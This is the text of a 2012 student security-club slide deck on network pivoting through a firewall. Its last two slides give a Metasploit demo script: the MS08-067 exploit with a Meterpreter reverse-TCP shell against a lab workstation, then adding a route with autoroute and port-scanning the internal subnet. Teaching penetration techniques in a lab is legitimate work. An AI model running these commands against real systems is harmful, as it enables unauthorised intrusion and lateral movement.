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Pivoting

Pivoting. UTD Computer Security Group Scott Hand 10 October 2012. Background. Problem: Most of the fun machines are in a private corporate network Solution: Own the machine you can talk to and coerce into owning its friends. Firewall. Pivoting Illustrated. Server. Network Structure:.

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Pivoting

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  1. Pivoting UTD Computer Security Group Scott Hand 10 October 2012

  2. Background • Problem: Most of the fun machines are in a private corporate network • Solution: Own the machine you can talk to and coerce into owning its friends

  3. Firewall Pivoting Illustrated Server • Network Structure: Server Workstation Server

  4. Firewall Pivoting Illustrated Server • We can’t access servers! OK! Server Workstation Server DENIED

  5. Firewall Pivoting Illustrated Server • First, own that workstation Server Workstation Exploitstick Server

  6. Firewall Pivoting Illustrated Server • First, own that workstation Server Workstation Exploitstick Server

  7. Firewall Pivoting Illustrated Server • Now it forwards traffic for us Give me datas Server DATA Workstation Exploitstick Server DATA

  8. Firewall Pivoting Illustrated Server • Now it forwards traffic for us Give me datas Server DATA Workstation Exploitstick Server DATA Report

  9. Demo Script – Initial Access • First, own the accessible workstation:use exploit/windows/smb/ms08_067_netapiset RHOST 192.168.124.128set PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.124.129exploit • Once in, check out what NICs are available with ipconfig

  10. Demo Script – Adding Pivot Entry • Now add the route:run autoroute –s 192.168.123.0 –n 255.255.255.0 • Run a quick scan:use auxiliary/scanner/portscan/tcpset RHOSTS 192.168.123.0/24set PORTS 139,445set THREADS 50run • We’re in!

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